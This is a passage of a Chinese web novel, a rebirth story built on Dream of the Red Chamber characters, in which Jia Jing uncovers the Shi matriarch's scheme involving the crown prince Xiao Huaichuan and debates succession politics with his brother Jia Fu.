史鼐:“诶呀,敏儿在老太太那边吃饭呢, 我们现在过去, 估摸着也快用完了。” 几人拉扯着走后, 史晁正了正脸色, 郑重地看向贾敬,沉思了一会儿才开口道: “培元,关于那件事, 你知道多少?” 贾敬什么也不知道, 但不妨碍他装的知道。 他故作轻松,眼皮半阖着,语气懒散,“我什么也不知道。” 可那悠闲自得的态度, 让史晁以为,贾敬大概什么都知道了。 “唉……”史晁又叹了口气, 在贾敬身旁的椅子坐下, 肩膀耸拉着, 颓丧地靠在椅背上。 “是大姐姐告诉你的吧。” 贾敬半阖着眼睛, 没人看见他眼中闪过精光。 他也不作答, 这模样在史晁看来便是默认了。 史晁:“没想到, 她居然将这件事都告诉了你们。” 贾敬掀了掀眼皮, 斜眼看着他, “我们和嫂子是一家人。” 史晁笑了笑, 显得有些苦,“大姐姐过得好,就好。” “大姐姐作为我大姐,我又怎么不希望她幸福?我知道,大姐姐只想嫁给大姐夫,可是老太太执拗,执着于那些妄念……” 贾敬眉梢微微一动,这是什么意思,老太君的妄念,难道还关乎兄嫂的婚事? 在此之前,贾敬从未想过,史云棠不会嫁给贾敷这种情况。 兄嫂二人的婚事是贾史两家老太爷在时,便指腹为婚定下的。况且,两人是青梅竹马,两小无猜,彼此相知相守,又怎么可能不会是夫妻? 贾敬面上不露疑惑,只是沉声阐释一个事实:“兄嫂婚约是祖父辈定下的。” 史晁点头,并未反驳。 “自从老太爷去后,老太太便有了个妄念,她不想大姐姐嫁与宁国府。” 贾敬闻言,并不意外。他自然知道那位老太君不喜他们家,尤其是在他父亲贾代化去世后。 可两家定下的婚约又岂能是如此胡闹的? 史晁自开了口,心中的负担有了宣泄口,一发不可收拾。 “我父亲自然不能背弃两位老太爷定下的婚约,所以我们两家的亲事,最终还是成了。” “老太太的妄念倒是郁结于心,更放不下了。这才时不时招敏儿表妹来府上……” 史晁说着,自己都显得羞愧和心虚。 贾敬闻言,心中火热,觉得史家老太君简直是疯了! 桃花眼犀利地射向史晁,语气尖利,“她想如何?你们府上没人嫁她看上的人,想让小敏儿顶替嫂子?” 简直荒谬! 贾敬嘴角勾起一抹讽刺,讥讽道:“且不说小敏儿才六岁,就说她是我贾家的姑娘,就轮不到她来插手!” “我宁荣二府可都还在这儿呢!” “您家老太太这心思,我二婶不知道吧?” 贾敬这话还真的说对。 史晁讪讪一笑,确实不知道,是他家老太太哄骗自己女儿,说家中全是浑小子,想要软糯小外孙女环绕膝下,史氏才将贾敏送来。 贾敬冷笑,他这位二婶他还算了解,虽然偏心不喜贾赦,但对于二儿子贾政和小女儿贾敏却是当眼珠子护着。 若是史氏知道史家老太君是这等恶心人的心思,又怎么可能会将贾敏送来这么些时日。 贾敬扯了扯嘴角,被史晁说的,不气反笑,这史家老太君究竟是看上了哪位世家公子,竟然如此放不下?能想出这样的昏招? “您家这位老太太的妄念,是看上了哪家人杰?”贾敬也不藏着了,直接问出了口,“难不成是什么龙子凤孙不成?” 史晁闻言,面色尴尬,他也没怀疑贾敬不知道,只当姐姐碍于脸面没说全。 只是那位的身份,他确实有些难以启齿,尤其是当贾敬面前。 那位的身份,也不是他能随便妄议的。 可史晁不对劲的态度,却让贾敬心下一紧,眼皮下意识猛跳。 还真是……龙子凤孙? 史家老太君看上了谁? 她眼光高,入她眼的,若是身份高的皇子凤孙,还和嫂子年龄相当,且没有正妻的…… 贾敬心头骤然冒出一个人影,他忽的抬眼,目光定定盯着史晁,一字一顿道: “萧、淮、川!” “诶呦!”史晁整个身体一颤,面色大变,眼睛迅速朝外看去,即便这是他自家府上,刚才也吩咐了人看守,可也生怕被什么人听了去。 “我的哥啊,我喊你一声哥,这不是没成吗?你别这么……” 史晁哭丧着脸,声音都有了颤音。 他刚想跟贾敬说什么,对上贾敬那双阴郁寒意的眼神,让人一瞬间毛骨悚然,原本到嘴边的话硬生生地咽了回去,嘴唇嚅嗫几下,最终乖乖闭上了嘴巴。 贾敬兀自闭上了眼,想要努力平息心中翻涌的复杂情绪。呼吸急促了几分,胸膛起伏着。 他震惊,震惊史家老太君的痴心妄想,而那震惊里又掺杂着他自己都难以解释的愤怒。 说不清道不明。 他在愤怒什么? 当得知他们对萧淮川的那一丝觊觎心思时,贾敬只觉得自己一直仰望的明月,居然有人胆敢偷窥! 她怎么敢?还真敢想! 那种冒犯让他宛如一头被侵入领地的野狼,本照耀他的月光洒向了他人。他浑身毛发倒竖,露出凶恶的獠牙,随时准备咬断来犯之人的脖子。 想要平复的心绪随着贾敬的想法,反而愈演愈烈。 贾敬只觉得脑袋发懵,粗喘着气,整个人空虚到他想要迅速握住什么,可包裹着的手让他手弯曲一半都做不到。 “嘶……”他狠狠咬了舌尖,疼得倒吸一口气。 口内充斥着铁锈味,贾敬舌尖顶了顶,传来一阵刺痛,他靠着疼痛夺回了仅存的理智。 “培元,你没事吧?” 即便贾敬努力忍着,可他的异样依旧被史晁注意到。 贾敬摆摆手,示意自己没事。 他缓缓睁开眼,原本清亮的眼眸里挂上了红血丝。 他忍着胀痛的头疼,逼着自己冷静。 自己有什么立场去愤怒? 他算什么? 贾敬原本挺直的脊背,瞬间泄了气,弯着朝后靠去,整个人显得没了气力,眼皮半垂。 史晁舔了舔有些干涩的嘴唇,讷讷道:“我知道,培元你和殿下向来要好,可你也不用气成这样吧……” “再说,我们这不是……” “只是想想。” 史晁最后是嘟囔出声,也不知道贾敬听见没有,但他却不敢再说了。 就算是想法,也确实大逆不道。 贾敬听见了。 “他……”贾敬开了口,声音干涩嘶哑,“他的情况,谁不知道?” 贾敬目光阴郁,声音沉闷,“圣上确实是没有给他定下,可人选是一直有。” “现在没定,可不就是为了等张家那位吗?” 他越说,声音越有些飘,眼神也变得有些涣散空洞, “承恩公张家可是圣上的母家,圣上想给张家这个恩典,太子妃完全够了。” “若不是张大小姐三年前意外身亡,也不会拖这么久了。” 史晁想起自家老太太曾说过的话,没忍住道:“那后来那位张二小姐,才不过十一岁……” 贾敬手腕无力搭在椅子扶手上,斜眼朝史晁看去,眼神没多犀利,却让史晁莫名胆寒。 “您家老太太不更胆大,小敏儿才六岁,她都敢这么想了,” 史晁咽了咽口水,“她也就是受甄家老太太刺激了。” “你也知道,她和甄家老太太争了大半辈子,甄家那个小姑姑进宫后,没多久就得了盛宠,更是生下了六皇子,封了妃位。” “甄家也因此得意了许久。” 史家老太君也就一个女儿,便是嫁给贾代善的史氏,嫡亲的孙女也就史云棠一人,这两人没指望后,居然将歪脑筋打到了外孙女,贾敏身上。 “呵。”贾敬都懒得看史晁,“太子妃是圣上盯好的人选,为了等那位张二小姐长成,一直未给太子赐婚,这些年的争议圣上都没理睬,你以为你们史家多大本事,能谋划这些?” “你们史家全族几个脑袋?” 这里面一方面是违背圣意,另一方面也有为储君站队的意味…… 史晁闻言,陡然一个激灵,额头瞬间渗出了一层冷汗。 “不、不是。”史晁急得说话结巴,“我家没这么想,我父亲更是没同意。” “这就是老太太一人的妄念,当不得真的。” 贾敬听了这话,唇角勾起,似笑非笑,眼里却含着凉意,“所以,你们扣着我贾家的姑娘,来哄你们家的老太太?” “拿我们贾家当什么?” 就如贾敬所说,史家没想顺着家里老太君去做那等大逆不道的事,可也为了不让老太君在家寻死觅活,哄着她,才面上同意她接贾敏过府。 心思被戳破,史晁羞愤地低下头,没搭话,也无脸辩解。 贾敬面色淡了下来,缓缓站起身,“好了,人,我今日便接回去了。” 史晁张了张嘴,“这件事……” “这件事情,我会如实告诉二叔。”贾敬打断史晁的话,“这件事,已不是你能解决了。” “待世伯回京再说吧。” 丢下这句话,贾敬便头也不回的出了花厅。 明月高悬,夜凉如水,猎猎凉风从领口、袖口灌入,令贾敬遍体生寒,连骨头都觉得冷。 他微微抬起头,遥望夜空,皎皎明月,如他一般。 贾敬缓缓伸出手,想要碰触,可抬到一半后,他又猛地收回手,宛如有什么洪水猛兽。 他不能…… 第38章 月光柔和不刺目, 可看着久了,眼睛是难免涩然。 贾敬下意识抚摸上胸前萧淮川为他戴上的那枚羊脂白玉牌,仅露出的那一点指腹轻触, 感受着白玉牌上传来的温热。 他眨了眨酸涩的眼睛,眼尾带着一片湿意,收回了目光。 月光只需要高高挂着, 便好。 “敬二哥哥。” 身后传来唤声, 贾敬转身, 便看见贾赦手抱着一个粉雕玉琢的小女孩。 “敬、敬二哥哥。” 娇俏声音里带着些怯怯之意, 缩在贾赦怀里,水汪汪的杏眸望着贾敬,眼里藏着好奇。 贾敏自幼聪慧, 记得住人, 知道面前这是东府那边的敬二哥哥,只是她见的少。 贾敬动了动有些僵的脸,看向贾敏的眼神柔和下来,牵起一抹笑, “三妹妹。” 许是孩子很敏感,贾敏立刻感受到了贾敬的态度, 动了动身子, 示意贾赦, 她要下去。 贾赦撇了撇嘴, 还是听从妹妹的话, 将她放了下去。 贾敏脚刚着地, 迈着小短腿朝贾敬跑去, 到了贾敬跟儿前, 犹豫了一会儿, 偷瞄了一下贾敬的神情,见他目光平静柔和地望着自己,立刻大着胆子,一把抱住了贾敬的大腿。 “敬二哥哥!” 这声喊的,比先前那句,响亮多了。 随后她放开贾敬的腿,拽了拽贾敬的衣袍。 贾敬顺势蹲下身,与贾敏对视,声音温和,嘴角带笑,“三妹妹喜欢敬二哥哥?” 贾敏抿嘴一笑,她就喜欢长得好看的人,东府得这位敬二哥哥就长得极好,比她两位哥哥都好看,她喜欢! “嗯!” 贾敏点头,贾敬手臂一览,穿过贾敏的腿弯,另一只手轻扶着她的后背,将贾敏抱了起来。 “敬二哥哥,你的手!” 贾政一边紧张地看向贾敬的手,一边推了推旁边的贾赦,希望他将妹妹接过去。 贾敬:“没事,我手臂托着,用不着手。” “走吧,咱们家去吧。” 马车走在青石板的道上,一路“咕噜咕噜”,贾敏一开始还和贾敬说这话,“什么敬二哥哥手为什么包着”“受伤疼不疼”云云,后面便困了,脑袋一歪睡了过去。 贾敬坐在马车上时,总觉得自己好似忘记了什么。 贾赦贾政先下了马车,还帮贾敬撩着帘子, 贾敬刚一探头,就对上了兄嫂差点都要冒火的眼神,贾敬才想起来,他忘了什么。 他带着两个弟弟溜了宴席不说,出门还没和家里打招呼。 贾赦贾政面对贾敷的脸色,老实地站在原地。 贾敷哼了一声,朝马车这边走来,怪腔怪调道:“哟,咱们家二爷还知道回来啊?” 贾敬的手一顿,眼里闪过一丝懊恼。 他做了宁国府不知道多少年的家主,早已经不需要出门跟谁禀报了。 “哥。” 贾敬扯了扯嘴角,面露尴尬。 “你老实交代,你去……”贾敷话没说完,目光死死地盯着贾敬的话里,“你、你怀里抱着谁?” 史云棠也跟着走近,一眼就看见了贾敬怀里的贾敏,也是一惊,“三妹妹?” 贾敷:“你去了史家?” “嘘……”贾敬轻嘘了一声,“三妹妹睡着了。” 他搂着睡得香甜的贾敏,小心弯腰,出了马车。 贾敷看着贾敬那抱孩子的样子,心跟着一跳,脸上露出嫌弃之色,但手已经伸了出去,轻声念叨着,“给我,给我。” 他小心接过,抱孩子的姿势比贾敬好多了,贾敏睡得更沉了。 史云棠瞧了眼贾敏睡得粉嘟嘟的脸颊,先是松了口气,紧接着神情又变得严肃几分,抿了抿唇,看向贾敬,欲言又止。 贾敬笑了笑,“嫂子,我们进去说。” 史云棠沉默了一会儿,点点头。 贾敷看了眼自家夫人,眼眸微动,却也没说什么,而是抱着贾敏先进了府。 进了府后,贾敷将贾敏交到府里嬷嬷手上,又交代好贾赦贾政看护好妹妹,才让王总管将人一并护送回西府。 贾敷三人才重新坐了下来。 史云棠的神色显得有些忧心忡忡,魂不守舍。 贾敷看在眼里,却没说什么,而是一把捞过自家夫人的手,感受到手心的冰凉后,他用自己的手开始摩挲着。 “阿元,原本以为你是觉得我和你嫂子念叨烦了,躲了出去,你怎么忽然去史家了?” “还把你三妹妹带了回来。” 贾敷问着,史云棠也将目光放在贾敬身上。 贾敬慵懒着靠着,“还能为什么?赦哥儿和政哥儿两小子想妹妹了呗,我刚巧找史伯齐有些事,便去了。” 他抬眼,对上史云棠的目光,“嫂子,伯齐还说他想你了。” 史云棠点点头,却没说要回史家看看,而是问了句,“父亲可回京了?” 贾敬:“还未。” 史云棠的手指不自觉攥紧贾敷的手,“阿元,你接三妹妹回来,史家有说什么吗?” 对于史云棠的问话,贾敬有些莫名,“没有啊。” “三妹妹在史家已经好些日子了,想来二婶也想三妹妹了,也该回来了。” 史云棠定定地看了贾敬好一会儿,才轻松的笑了笑,“阿元应该还没吃晚饭吧?” “我去吩咐人准备一些。” 说着便起身,向小厨房走去,给贾敬安排晚膳去了。 花厅内只剩下贾敷和贾敬两人。 贾敷转了转大拇指上的白玉扳指,抬眼看向自家弟弟,“你瞒了我什么事?” 贾敬摆了摆手,“哥,我没打算瞒你。” 他朝外看了看,“走,我们去书房说。” 史家的事情,必须跟贾敷说明白,却不能当着嫂子面说。 说到底,史家是史云棠的娘家,当面说,多少会让史云棠左右为难。 至于说完这件事,会不会引起贾敷和史云棠之间的芥蒂之心,贾敬是不担心的,兄嫂之间的情谊,他有目共睹。 相反,贾敬认为,坦白这一切后,贾敷反而会更加清楚史云棠的为难。 果不其然,当贾敬跟贾敷说完史家那些昏了头的想法后,贾敷猛地一拍桌子。 “啪!” 贾敬就看着那黄花梨桌子裂了几道裂缝。 “简直是痴心妄想!” 贾敷的手紧紧扣在桌案边,手背上青筋暴起,话从紧咬着的牙关里冒出, “我知道,咱们府降等袭爵,史家老太太看不上我,可没想到,她居然……” “难道那不得见人的宫里是什么好的去处吗?” 大乾自成立以来,为防止外戚干政,宫中后妃多是选自民间。即便是如今圣上看上的那位预备太子妃,瞧着是出身于圣上的母家承恩公府,看似名门,实则并无实权。 这承恩公的爵位也是圣上登基后,赐予其母家的荣恩。 像四王八公这样的勋贵人家,除非是落寞到了一定地步,不然不会选择送女儿进宫。 不过,凡是也有例外,就如江南甄家出的那位甄妃。 这不,破天的荣恩连保龄侯老夫人都看迷了眼,动了歪心思。 贾敷赤红了眼,颤着声音,“我知道,云棠嫁给我,是委屈了她,可是……没想到……” 史家老太太居然怀了那样的心思! 贾敬望着兄长这幅模样,心里也不是什么滋味,可他必须说。 他们宁国府的处境目前看着还不错,贾敷也避开了死局,但背后的危机一直是暗潮涌动,没人比贾敬更了解,他必须要刺激一下兄长。 “龙子凤孙……呵。” 贾敷脸上滑过一抹嘲讽,不知是在自嘲,还是在嘲讽其他。 “以为靠上储君就能荣恩不断了?便是圣上,也是喜怒无定。” “我们这些老亲各家,不管私下如何,面上那都只能向着圣上。” “哪有站队皇子的道理?一旦站队皇子,那便是明确了夺嫡之心,如今圣上正值壮年,起这样的心思,是嫌全族脑袋不够砍吗?” 他们这些老勋贵们,就算是做个死板的保皇党,也够子孙后代们在功劳溥上躺了。 贾敷说的这些,贾敬都明白。在壮年的天丰帝面前,若是露出丝毫站队皇子的想法,绝对会引起这位帝王的杀意。 可顺着天丰帝,真的会有好下场吗? 上辈子他们家的下场已经证明了一切。 不过,无论是靠哪一边,家中男子顶不上,光靠女人来维系彼此的利益关系,就宛如一根随时会断的蚕丝。 贾敷越说越尖利,“说句大逆不道的话,他萧淮川如今不过是储君,能不能坐上那位置还两说,他……” “啪!” 贾敬碰翻了桌案边的砚台,打断了贾敷的话。 “哥,慎言!”贾敬低垂着头,看不清神情。 贾敷也知道自己方才失言,可有些话,他确实也要说明白,贾敷盯着贾敬,语气郑重道:“阿元,哥知道你和太子殿下关系亲近,可是,你要知道。” “他是储君!” “他的身份,就是巨大的危险,是一切风暴的旋涡。” “我知道。”贾敬沉声答道。 他就是知道,萧淮川面临着什么,所以他一定要做些什么,他会一直站在萧淮川的身后。 他没有退路,也绝不会退。 至于兄长和宁国府,其实并不是一定要选择萧淮川。 虽然就目前形势来说,只有萧淮川登基,贾家和宁国府才有活路。 不过,眼下情况,宁国府的立场模糊一些,反而可以更好的迷惑某些人的视线。 第39章 贾敷低头, 不再作声,沉默地转着大拇指上的扳指。 书房内一片寂静。 忽然,贾敷像是做了什么决定, 他忽然开口, “今日宴席,东平郡王私下寻了我。” 贾敬看向贾敷, 眼神闪过一丝疑惑, “所为何事?” 东平郡王算起来, 与二叔贾代善关系更为亲密, 算是拜把子的弟兄,与他们宁国府关系倒显得没那么亲近。 私下说,看来这事情不方便放在面上, 比较私密重要, 那么找关系更亲近的贾代善更稳妥,怎么就找贾敷了呢? 贾敷显然也看出贾敬的想法,他没先急着解释,而是从旁边的书架上, 拿出了一卷轴,铺在桌上。 贾敬凑近一看。 “这是……这是咱们大乾的舆图?” 贾敬盯着舆图的眼睛微微眯, 目光上下扫视, 落在了东南一角。 下一瞬, 贾敷的手也点在了那个位置。 果然, 东南闽州。 “看这里, 闽州。”贾敷看着贾敬, “知道这是什么地方吗?” 贾敬颔首:“嗯, 知道。东平王的封地所在。” 如今四王八公这些老勋贵, 多是当年与太祖皇帝一起起事, 获得爵位。 而四位异姓王,除了军功卓越,在亲疏远近上,与其他公侯相较,也与太祖皇帝亲近许多,虽是异姓,但还是有血缘姻亲关系在。 初封四王,即为“东平王,南安王,西宁王,北静王”,皇恩浩荡,世袭已有两代。 今日寻贾敷的,便是第二任东平郡王,梅君台,算起来,与他们的父亲是一辈。 贾敷点点头,“闽州这块地方,就是当年初代东平郡王起事的地方,天下初定后,太祖皇帝也就将这块地赐于东平郡王做封地,老东平郡王掌一方军务。” “而等到现任东平郡王承袭爵位时,为感‘皇恩浩荡’,‘主动’将手中的兵权军务全部交出。” 说到这里时,贾敷在某些字眼上加重了语气,脸上和眼底尽是讽刺。 “圣上因此大为感动,手一挥,为东平郡王增加了一万户食邑,兵权自然也是收了回去,而军务是则是转到了闽州都指挥使司。” 贾敬静静听着,心中揣测东平郡王的来意。 “东平郡王现如今看着不掌管闽州军务,可到底是他的封地,大小事务还是要看顾的。” 贾敷说着,手轻轻点在舆图闽州所在的地方,“这里现在有些不太平。” 贾敬眼皮一跳,脱口问道:“发生了什么事?” 他努力思索着脑海里的记忆,并没有想起,这个时间段中,闽州发生了什么事。 还是说,前世这段时间里,他处理兄长丧事,忽略了什么事情? 贾敷手指向旁边移了移,贾敬的目光跟着移动,他微微蹙眉,贾敷的手现在已经放在了闽州旁边的闽海旁。 忽然,贾敬像是想到了什么,猛地看向贾敷,“海匪?” 贾敷有些诧异贾敬会立刻猜出,却还是点了点头,“没错,就是海匪。” “闽州与南越交接的闽关,是我朝商船海运的重要港口,众多番邦朝贡亦是走此处上岸,贸易繁荣。” “因此离闽关不远处的地方,时常有海匪出没,劫持商船,掠夺货物财物,周边靠海边贸易的百姓也深受其害。” 贾敬沉吟点头,海匪之患,确实不小。但这件事也算是个顽疾,背后利益更是盘根错节,并不是一时半会就能解决的。 要论闽关不太平,那不太平也太久了,除非……有更不太平的事情。 贾敷终于说出了东平郡王找他的原因。 “郡王与我说,自今年开年以来,闽关处的海匪人数陡然变多,被掠劫的商船,十不存二。” “甚至这些海匪,已经猖獗到时常上岸,掠劫海边的百姓,烧杀抢掠,无恶不作,骇人听闻。” 贾敬赫然,眼皮又是一跳,“居然如此严重?” “可这件事,京中乃至朝堂,并未有人提及。” 他于前世也并未听说这件事。 贾敷什么都没说,只是说了句,“东平郡王三月前便已经将此事禀告给了圣上。” 至于为什么京中无人知晓这件事,那便只能是圣上的意思了。 贾敬的眼眸一沉,“他来找哥,是想做什么?” “闽关虽说在闽州和南越交接处,可是到底不归闽州管,更不该……东平郡王来管。” 贾敷盯着舆图上标着“闽关”二字的地方,缓缓道:“闽关距离京城,路途遥远,难免疏忽,京中便是想管,心力也有所不及。” “南越早前是蛮夷之地,归顺我大乾也不过近几十载,相较而言,东平郡王所处的闽州,反而可以更好的管辖。” 这话说的很有道理,可天丰帝能肯吗? 这无疑是在壮大东平郡王的势力。 如此一来,先前天丰帝收回兵权军务,就等同于白做了。 贾敷:“圣上说了,东平郡王前往闽州镇守,世子梅笑冬留守京城。” 贾敬了然,说得好听,留守京城,实则是扣留在京的人质。 贾敷说完最后一句,“郡王前往闽州,觉得人手不足,便来邀我,问我是否有兴趣一同前往。” 贾敬沉默,贾敷大抵猜到他的困惑,拍了拍贾敬的肩膀,“害怕这里面有套儿?” “圣上能同意?”凭借天丰帝对他们的忌惮,贾敬深感怀疑。 贾敷嘴角一扯,“他怎么会不同意?” “如今鲁地匪患四起,北狄也蠢蠢欲动,哪有精力去管南方的事儿?” “他放任东平郡王回闽州,又没有承诺什么。” “闽关海匪霍乱,这里面的事儿,得东平郡王自己处理。” 贾敬是听明白了,原来天丰帝是想空手套白狼,不出一兵一卒,让东平郡王去帮他稳住闽州及南越。 若是能将海匪平定,稳住闽关贸易,天丰帝自然不愁税银;若是没稳住,消耗的也是东平郡王的实力,他自个儿倒是什么也没出。 无论如何,天丰帝都能吃到甜头。这里面还有深一层次的试探,天丰帝对东平郡王实力的试探,看看能否试出什么。 贾敬不得不佩服天丰帝的这一手。就宛如在东平郡王的面前挖个坑,坑上吊了跟胡萝卜。坑是明晃晃的,但胡萝卜也是真的,就看你敢不敢跳了。 有这样的机会,东平郡王怎么可能放过? 他朝贾敷抛出橄榄枝,贾敷又怎么不心动? 如今的局面也只有一搏了。 上辈子,并没有这件事。或者说,有,但因为贾敷意外惨死后,东平郡王便将此事搁置了,没有再提。 至于结果……据贾敬所知,那便是没什么大的改变。东平郡王并没有就此立功,也没有弄出什么乱子。 如此看来,可以一试。 贾敬知道贾敷想要博的想法,左右思量后,也觉得可行,然而到底担心,话还没说出口,贾敷便先开口了。 “至于我……”贾敷说到此处,顿了顿,“我自然不是明着去。” “先前不是和二叔商讨,让赦哥儿跟薛家世伯一起出去跑跑商路,见见世面?” “依我看,不若就这次,我送赦哥儿去金陵薛家,随后转道去闽州。” 贾敷转了转手上的扳指,眼中闪过一丝精光,“我若是没记错,当年二叔还在姑苏扬州一带监造过海舫,后来回了京后,还是留了一些产业在江南。” “我便借此,去闽州瞧瞧,看看那边是否合适。” 贾敬一听,好嘛,他哥看来早就想好了,看来他也不必劝了。 贾敷出京也好,天高皇帝远,施展的空间也大,一切早做打算。在京里总被人盯着,还不如出去。 他自己不日就要入翰林院,不出意外,得三年才能散馆,在此期间,贾敬的面上定是要装出懒散闲人的模样,混淆某些人的视听。 懒散闲人啊,他有些期待。 【作者有话要说】 阿元:努力苟住! 第40章 对于东平郡王的邀请, 贾敷先前还在犹豫,可知晓史家老太君对自己的轻蔑后,再结合先前的刺杀危机, 贾敷终于做出了决定。 不能一直被困在京中。 现在闽州一带有了这样的机会,可不能错过。 贾敷望着大乾这整张舆图,有些失神。这样完整的舆图, 可不是一般人家能有的。 “当年祖父追随太祖皇帝起事, 铁骑踏遍大半个前朝, 功高得封宁国公。” 贾敷说着, 嘴角扯了扯,带着些讽刺,“方才说到老东平郡王去时, 上交了兵权, 我们府又何尝不是?” “圣上登基,一朝天子一朝臣,我们这样人家,哪个没上交呢?” 贾敷说的这些, 贾敬都明白,可不就是一朝天子一朝臣吗?想到上一世新帝登基, 宁荣二府的处境, 正是应验了。 可那时候, 族中在朝堂上已无实权人物, 族中子弟亦是不成气候, 再无反抗的余地, 如案板上的鱼肉, 任人宰割。 贾敷眼眸微动, 盯着贾敬, “阿元,你觉得我们父亲如何?” 这话,作为子辈,一般是不该问的。 提起贾代化,贾敬面露复杂之色。作为父亲,贾敬着实对他没什么好感。不管哥哥以及家中老仆如何说,贾敬也能感受到,贾代化不喜欢他。 不是贾敬自得,京城和他一般出身的子弟,有几个用功读书的? 然而贾代化非但不以此为荣,对贾敬的管教是愈发严格,稍有差池和不如他意的地方,立刻便恼了,将贾敬吊起来打,和审贼无异。 即便要说怨恨,几十年过去,贾敬心中的情绪也早已经淡了。 可若是从宁国府当家人,贾家族长来说,贾敬对此也是佩服,不说别说,他上辈子亦做过族长,与贾代化相比,他自愧不如。 且说刚刚贾敷所言,他们家上交了兵权,可即便是这样,贾代化除了世袭的一等神威将军爵位,凭借自己的本事,身居要职,官至京营节度使,掌京畿军政,京城防位,深得如今圣上信任。 贾敬一时陷入沉思,没有及时回答贾敷。贾敷本也没打算听贾敬说什么,他刚刚的问话,不过是为了抛砖引玉,引出他之后的话来。 “阿元,因着太祖皇帝和祖父的交情,咱们父亲打小跟在圣上身后,一起长大。圣上登基后,更是尽心尽力辅佐圣,操劳一生,也算是善终。” 然而,前不久,贾敬才与贾敷深聊过这个话题。贾代化在时,还有这层情分,如今贾代化逝世,人走茶凉,圣上又是多疑的性子,保不齐便是鸟尽弓藏。 这事他们探讨过,如今贾敷再拿出来说……贾敬心中暗忖,觉得贾敷的话还未说完。 于是,他缓缓抬眸,与贾敷专注深邃的目光对上,“哥哥想说什么?” “阿元。”贾敷深深凝视着贾敬,“你科举高中后,咱们府于京中处境便很微妙。如今去了翰林院,倒是能省了许多事。” “我不日便要出京,府中大大小小的事务众多,你嫂子一来要照顾珍儿,二来对外的事情,她到底不方便,剩下的还需你来打理。” “这是自然。”贾敬点头,接着看向贾敷,示意他接着说。 “只是……”贾敷深吸一口气,一字一顿道:“哥哥知道你和太子殿下从小一起长大,他待你好,不过眼下,你既然入了官场,有了官身,那么便该和太子殿下避避嫌了。” “储君的身份,到底太过敏感了些。” 说完,贾敷的目光不自觉地望向贾敬胸前挂着的那枚玉牌,今日萧淮川为贾敬挂上玉牌,贾敷在旁边看了个全程。 那亲近的样儿,让贾敷害怕。 想来在场其他人也都看见了,心中还不知怎么揣测贾敬乃至宁国府和储君的关系。 贾敷又想起圣上赐下的那道圣旨,知道这里面萧淮川定是做了什么,有些头疼,叹了口气, “这次是咱们府呈了他的情,咱们记着,若是往后有机会,能报答,咱们便报了,但从今日起,你们还是莫要再深交了。” 贾敬一怔,微微垂首,默然,不吭声。 他沉默不言的模样让贾敷更加头疼,他揉了揉额角,苦口婆心道: “阿元,我晓得这样忽然让你疏远太子殿下,你有些难以接受。” “他如今对你的心,我也确实看在眼里,记在心里,也知道你们这些年情同手足,可是,人心难测,他更是那样特殊啊!” 贾敷咬着牙,硬挤出了一句话,“咱们父亲就是前车之鉴!他与圣上当年……” “如今呢?” 他后面的话没再说,贾敬却已经明白了他的未尽之言,甚至那些话还是前不久,贾敬与他所说。 贾敬紧抿着唇,他想要反驳,他想说他和萧淮川的情况,与父亲他们不一样。 可说出来,贾敷会信吗?在他眼中,没什么不同。 贾敬嘴唇蠕动,终究是吐出了一句:“淮哥他……和圣上不一样。” 贾敷听到贾敬对萧淮川的称呼后,直接倒吸一口气,声音不禁拔高,“是!是不一样!” 意识到声音过高后,贾敷又强行压低嗓音,语气微凉,“他还没坐上那个位置!” 他还轮不到和天丰帝比,储君到底不是君。 “他那位置看着稳,可圣上这些年对他的态度,有些微妙,你难道眼下就要参与夺位不成?” “有何不可?”在贾敷话音刚落后,贾敬便反问,直接将贾敷问住。 “更何况,什么叫夺?他本就东宫太子,圣上嫡长子,名正言顺的储君,继位也顺理成章,君命天授,何来的夺?” 贾敬语气冷静淡然,仿佛他不是在说什么大逆不道的话。可他那双眼,贾敷可以清晰的看见其野心,甚至是……一丝癫狂。 “你、你疯了?” 贾敷不禁瞪大眼睛,瞠目结舌,“阿元,你可知道你在说什么?” 这可是夺嫡! 然而话说到这个份上,贾敬也不想藏着掖着了,直接将话与贾敷说开。 贾敬冷哼一声,“哥,你怕不是忘了,如今的圣上,曾经非、嫡、非、长。” 而天丰帝为何能登上帝位,他父亲贾代化再清楚不过。 贾敷惊的嘴巴大张,半天说不出一句话来。 贾敬深呼吸一口气,“哥,我们如今走到这一步,难道你以为,我们不选,就能躲开吗?” “且不说圣上本就已经忌惮我们,就说他如今多疑的性子,对各位皇子的态度,便不难发觉,他是故意为之。” “是,如今他对淮哥的态度是微妙。”贾敬承认天丰帝如今对萧淮川晦涩不明的态度,甚至他比谁都清楚。 “可那有如何?难道其余几位他就满意了?”贾敬扯了扯嘴角,脸上面露讽刺。 “他不过是年纪越发老迈,望着成年的儿子们,心生畏惧。” “淮哥在朝堂上愈发稳固,他越害怕,所以才把其余皇子扶上来,跟淮哥打擂台。” 天丰帝的心思,贾敬清楚,“他只是不想服老罢了,待其余皇子立起来,他会更恐慌。” 不然上辈子,也不可能出现新帝登基,他这个太上皇还把持着朝政不愿放手,朝堂上出现二圣临朝,空悬二日的局面了。 “淮哥的储君之位已立多年,若无大错,岂是他想废就废?动摇国本的事情,朝野上下,岂能答应?” 贾敬说着,眼尾却慢慢泛了红,他想起了上一世。 上一世,萧淮川被人栽赃陷害,陷入巫蛊之术的风波。 即便是这样,天丰帝都未曾能将萧淮川的储君之位废除,只是将他囚禁在东宫之中。 是萧淮洵等人等不及,与神宫监掌印太监王定合谋,直接向萧淮川下了死手。 这一次,他不会让这些人得逞!【你现在阅读的是魔蝎小说 moxiexs】 40-50 第41章 上辈子贾敬亲眼目睹萧淮川身死, 很长一段时间内,那都是贾敬脑海里无法抹去的梦魇,如同恶鬼紧紧缠绕着他, 痛苦与恐惧环绕着,让他陷入无边无际的深渊地狱。 不知多少个深夜,贾敬躺在床上辗转反侧, 难以入眠。即便喝下安神汤, 勉强阖上眼, 也会一次次于梦中惊醒, 浑身冷汗涔涔。 梦里会一直重现萧淮川被逼吞下丹药,阖上眼的最后一刻。他还在安抚贾敬,朝他笑着。 然而, 就是这原本安宁的笑, 瞬间染上了令人毛骨悚然的血红色,令贾敬遍体生寒。 “阿元……” 贾敬听到,那是萧淮川在轻声呼唤,心中的悲痛和悔恨席卷贾敬的全身。 贾敬浑浑噩噩了不知多少时日。 也正因如此, 他忽略了萧淮川死时存在的诸多可疑之处。 且不谈那手法粗糙至极、破绽百出的巫蛊之术,单说萧淮洵后来指使王定动手的整个过程, 都显得过于顺利了些。 好似萧淮川丝毫察觉到危险, 没有任何防备, 便让他们轻易得了手。 凭借贾敬对萧淮川的了解, 他绝不可能会这么掉以轻心。 更何况, 明明萧淮川还有余力让暗卫护着自己, 